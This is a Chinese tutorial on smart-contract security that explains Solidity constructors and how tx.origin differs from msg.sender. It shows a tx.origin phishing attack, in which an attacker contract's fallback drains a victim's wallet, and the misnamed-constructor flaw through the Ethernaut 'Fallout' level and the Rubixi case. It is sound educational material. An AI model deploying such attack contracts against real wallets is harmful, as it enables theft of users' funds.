美文网首页程序员
区块链安全—简单函数的危险漏洞(二)

区块链安全—简单函数的危险漏洞(二)

作者: CPinging | 来源:发表于2019-02-28 22:31 被阅读8次

    一、前言

    上回文章中我们提到了简单函数的漏洞利用情况。我们对Fallback()这个回调函数进行了安全漏洞的分析,也针对竞赛题目复现了一些漏洞利用过程。

    在本篇文章中,我们继续对简单函数进行安全机制分析。本文我们将要对构造函数以及tx.orginmsg.sender进行安全分析。在真实的合约开发中,上述这几个函数的使用频率是十分高的,而对于合约来讲,由于其面向对象的特性所迫,所以在编写合约的过程中构造函数是必须要进行使用的。对于tx.orgin以及msg.sender函数来讲,这些语法会在函数内部进行条件判断的时候使用,而条件判断往往是安全保障的最重要的一道门。倘若这些地方出现了问题而导致条件被绕过,那么系统的安全性就可能受到巨大的挑战。

    倘若这些基础点存在了攻击漏洞,那么带来的危害是不可估量的。下面就看这些地方的漏洞点是如何产生的。

    二、函数解析

    1 构造函数

    Solidity编写合约和面向对象编程语言非常相似,我们可以通过构造函数(constructor)来初始化合约对象。

    构造函数就是方法名和合约名字相同的函数,创建合约时会调用构造函数对状态变量进行数据初始化操作。

    pragma solidity ^0.4.20;
    
    contract CpTest {
    
        uint value;
    
        /* 合约初始化时会调用构造函数 */
        function  CpTest  (uint number, uint p) { 
          value = number * p;
        }
    
        function getPower() view returns (uint) {
           return value;
        }
    }
    
    

    在我们部署合约的时候,我们需要传入参数以便初始化合约中的成员变量。

    我们在构造函数中为成员变量赋初值为:2*5 = 10。

    image.png

    那同学就会提问,倘若我不小心忘记书写构造函数,对于Solidity来说的话会不会报错呢?

    我们进行相关实验:

    image.png

    我们能够看到,虽然我们将构造函数注释掉了,但是我们的合约仍然可以正常的部署。而我们能够查看到我们的成员变量value的值为初始值0。

    现在我们做一些实验来验证一个合约中是否可以拥有两个构造函数。

    image.png image.png

    所以我们得到,一个合约中只能有允许一个构造函数存在。

    2 tx.orgin函数

    下面我们来详细的讲述一下tx.orgin以及msg.sender的用法以及区别之处。

    下面我们来看测试合约:

    pragma solidity ^0.4.20;
    
    contract CpTest {
    
        uint value;
        
        function  CpTest  (uint number, uint p) { 
          value = number * p;
        }
    
        function getPower() view returns (uint) {
           return value;
        }
        
        function getOrigin() view returns (address) {
            return tx.origin;
        }
        
         function getSender() view returns (address) {
            return msg.sender;
        }
       
    }
    
    

    在当前地址0xca35b7d915458ef540ade6068dfe2f44e8fa733c下我们调用合约,看看sender的内容与orgin的内容分别是什么:

    之后,我们通过合约远程调用(A-->B 用A合约调用B合约),来测试其sender的内容与orgin的内容的对应。

    pragma solidity ^0.4.20;
    
    contract CpTest {
    
        uint value;
        
        function  CpTest  (uint number, uint p) { 
          value = number * p;
        }
    
        function getPower() view returns (uint) {
           return value;
        }
        
        function getOrigin() view returns (address) {
            return tx.origin;
        }
        
         function getSender() view returns (address) {
            return msg.sender;
        }
        
    }
        contract testCal {
            
            CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
            function getOrigin() view returns (address) {
                return test.getOrigin();
            }
            
            function getSender() view returns (address) {
                return test.getSender();
            }
            
        
    }
    

    此时我们第二个合约的地址为0x14723a09acff6d2a60dcdf7aa4aff308fddc160c

    调用后得到:

    image.png

    testCal合约远程调用了CpTest合约,其tx.orgin的值为testCal合约的钱包地址。而msg.sender的地址为testCal合约部署的地址。

    下面我们进行更复杂的测试。现在我们部署第三个合约,而此合约将调用第二个合约中的两个函数,并查看第三个合约中的相对应的orgin与sender的值。

    pragma solidity ^0.4.20;
    
    contract CpTest {
    
        uint value;
        
        function  CpTest  (uint number, uint p) { 
          value = number * p;
        }
    
        function getPower() view returns (uint) {
           return value;
        }
        
        function getOrigin() view returns (address) {
            return tx.origin;
        }
        
         function getSender() view returns (address) {
            return msg.sender;
        }
        
    }
        contract testCal {
            
            CpTest test = CpTest(0x5e72914535f202659083db3a02c984188fa26e9f);
            function getOrigin() view returns (address) {
                return test.getOrigin();
            }
            
            function getSender() view returns (address) {
                return test.getSender();
            }
            
        
    }
    
     contract testCal3 {
            
            testCal test = testCal(0x0fdf4894a3b7c5a101686829063be52ad45bcfb7);
            function getOrigin() view returns (address) {
                return test.getOrigin();
            }
            
            function getSender() view returns (address) {
                return test.getSender();
            }
            
        
    }
    
    

    testCal3合约的地址为:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db

    我们运行函数得到:

    即第三个函数的origin地址为自己的钱包地址。而sender的地址为第二个合约(testCal)的部署地址。

    image.png

    所以我们可以大胆的分析:我们的tx.origin为所最起始调用者的地址(A-->B-->C则为A的地址),然而我们msg.sender为最终函数的前一个调用合约地址(A-->B-->C中,由于函数在C中,所以sender为B的合约地址)。

    这也相对应的存在了许多安全隐患,我们在下面进行分析。

    三、漏洞分析

    1 tx.origin漏洞分析

    tx.origin是Solidity 中的一个全局变量 ,它遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。然而在智能合约中使用此变量时,我们通常会看到它被用于身份验证。这也就存在了很严重的漏洞问题,所以我们针对这个问题来进行相关的安全分析。

    此类合约容易受到类似网络钓鱼的攻击。

    下面我们来看一段钓鱼代码:

    我们假设场景:现在有用户A与攻击者C两个身份。在A用户的地址下,我们部署了:

    contract Phishable {
        address public owner;
        
        constructor (address _owner) {
            owner = _owner; 
        }
        
        function () public payable {} // collect ether
    
        function withdrawAll(address _recipient) public {
            require(tx.origin == owner);
            _recipient.transfer(this.balance); 
        }
    }
    

    我们具体来看这个代码,这里存在一个转账函数,而转账是将A用户中的余额转给_recipient对应的地址。然而在转账前我们需要进行一个初始判断:require(tx.origin == owner),即我们合约的拥有者必须==tx.origin

    下面我们再来看攻击者合约:

    contract AttackContract { 
        
        Phishable phishableContract; 
        address attacker; // The attackers address to receive funds.
    
        constructor (Phishable _phishableContract, address _attackerAddress) { 
            phishableContract = _phishableContract; 
            attacker = _attackerAddress;
        }
        
        function () { 
            phishableContract.withdrawAll(attacker); 
        }
    }
    

    在这个攻击合约中,我们看到它在构造函数中new了Phishable对象,
    然后传入了攻击者地址。之后又定义了fallback函数,而在函数中调用了phishableContract对象的withdrawAll ()函数。

    之后我们来分析下攻击是如何产生的。

    根据我们前面写过的文章,我们知道fallback函数会在转账的时候被默认调用,所以这个地方就存在了很多隐患。

    我们假设一个场景,倘若攻击者通过各种方法(包括诈骗、诱导等)使用户A向攻击者进行一些转账操作,那么他就会默认的调用phishableContract.withdrawAll(attacker);函数。而对于此函数我们具体来看:

        function withdrawAll(address _recipient) public {
            require(tx.origin == owner);
            _recipient.transfer(this.balance); 
        }
    

    在这个函数中,攻击者将_recipient参数赋值为自己的地址,也就为了用户能够将钱转给攻击者做准备。之后我们来看,倘若此时攻击者绕过了require的限制,那么ta就有可能把用户的钱全部转走。那么攻击者是否能绕过呢?答案是肯定的。

    简单来说,此时User --调用-->Attack的回调函数--调用-->User的withdraw函数,而呈现出来的tx.origin是==合约创世人owner的。

    我们做一个简单的实验:

    合约内容

    pragma solidity ^0.4.18;
    
    contract UserWallet {
        
        address public owner;
        address public owner1;
        function setOwner() public returns(address){
        //   owner = msg.sender;
          return msg.sender;
       }
       
       function setOwner1() public returns(address){
        //   owner1 = tx.origin;
          return tx.origin;
       }
    }
    
    contract abc {
        
        UserWallet test = UserWallet(0x9dd1e8169e76a9226b07ab9f85cc20a5e1ed44dd);
        
        function a() public returns (address){
            return test.setOwner1();
        }
        
    }
    
    contract def {
        
        abc test = abc(0xdd1f635dfb144068f91d430c76f4219088af9e64);
        
        function b() public returns (address){
            return test.a();
        }
        
    }
    

    首先在0xca35b7d915458ef540ade6068dfe2f44e8fa733c中部署

    image.png

    之后,我们在0x14723a09acff6d2a60dcdf7aa4aff308fddc160c部署

    image.png

    最后我们在0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db部署:

    image.png

    根据我们的代码,我们测试tx.orgin所代表的内容。

    首先是合约UserWallet

    image.png image.png

    下面是合约abc

    然而我们这里最重要的函数是:合约def

    我们要通过合约def来远程调用abc:

    对应这里为:

    在部署合约def的地址下调用合约abc中的b()函数。

    image.png image.png

    得到实际的地址为:

    image.png
    地址详情
    1:0xca35b7d915458ef540ade6068dfe2f44e8fa733c
    2:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
    3:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
    

    这样就绕过了用户函数中的origin条件,所以可以进行钓鱼:

    倘若用户给调用合约转账,则调用了fallback函数。之后User -> Attack -> User。即意味着钓鱼合约把用户的钱取走了。

    2 构造函数安全分析

    构造函数(Constructors)是特殊函数,在初始化合约时经常执行关键的权限任务。在 solidity v0.4.22 以前,构造函数被定义为与所在合约同名的函数。因此,如果合约名称在开发过程中发生变化,而构造函数名称没有更改,它将变成正常的可调用函数。

    其实这种漏洞的原理并不复杂,但是带来的危害却是巨大的。

    下面我们看一道ctf的题目:

    pragma solidity ^0.4.18;
    
    import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
    
    contract Fallout is Ownable {
    
      mapping (address => uint) allocations;
    
      /* constructor */
      function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
      }
    
      function allocate() public payable {
        allocations[msg.sender] += msg.value;
      }
    
      function sendAllocation(address allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
      }
    
      function collectAllocations() public onlyOwner {
        msg.sender.transfer(this.balance);
      }
    
      function allocatorBalance(address allocator) public view returns (uint) {
        return allocations[allocator];
      }
    }
    

    我们看到题目的要求如下:Claim ownership of the contract below to complete this level.让我们成为合约的owner。而我们仔细的查看后发现合约中只有构造函数可以让自己成为owner。然而我们无法手动调用构造函数,所以题目就陷入了僵局。不过在我们仔细的查看后发现:

    Fallout与构造函数Fal1out是不同的。即题目中给的函数并不是构造函数,只是看起来相似而已。

    所以我们直接调用改函数即可更改合约owner

    在真实的环境中同样有这样的情况产生:

    ubixi(合约代码)是另一个显现出这种漏洞的传销方案。合约中的构造函数一开始叫做 DynamicPyramid ,但合约名称在部署之前已改为 Rubixi 。构造函数的名字没有改变,因此任何用户都可以成为 creator

    contract Rubixi {
    
            //Declare variables for storage critical to contract
            uint private balance = 0;
            uint private collectedFees = 0;
            uint private feePercent = 10;
            uint private pyramidMultiplier = 300;
            uint private payoutOrder = 0;
    
            address private creator;
    
            //Sets creator
            function DynamicPyramid() {
                    creator = msg.sender;
            }
    
            modifier onlyowner {
                    if (msg.sender == creator) _
            }
    
            struct Participant {
                    address etherAddress;
                    uint payout;
            }
    ········
    }
    
    image.png

    四、参考资料

    本稿为原创稿件,转载请标明出处。谢谢。

    首发于先知社区,https://xz.aliyun.com/t/3657
    

    相关文章

      网友评论

        本文标题:区块链安全—简单函数的危险漏洞(二)

        本文链接:https://www.haomeiwen.com/subject/tfjdkqtx.html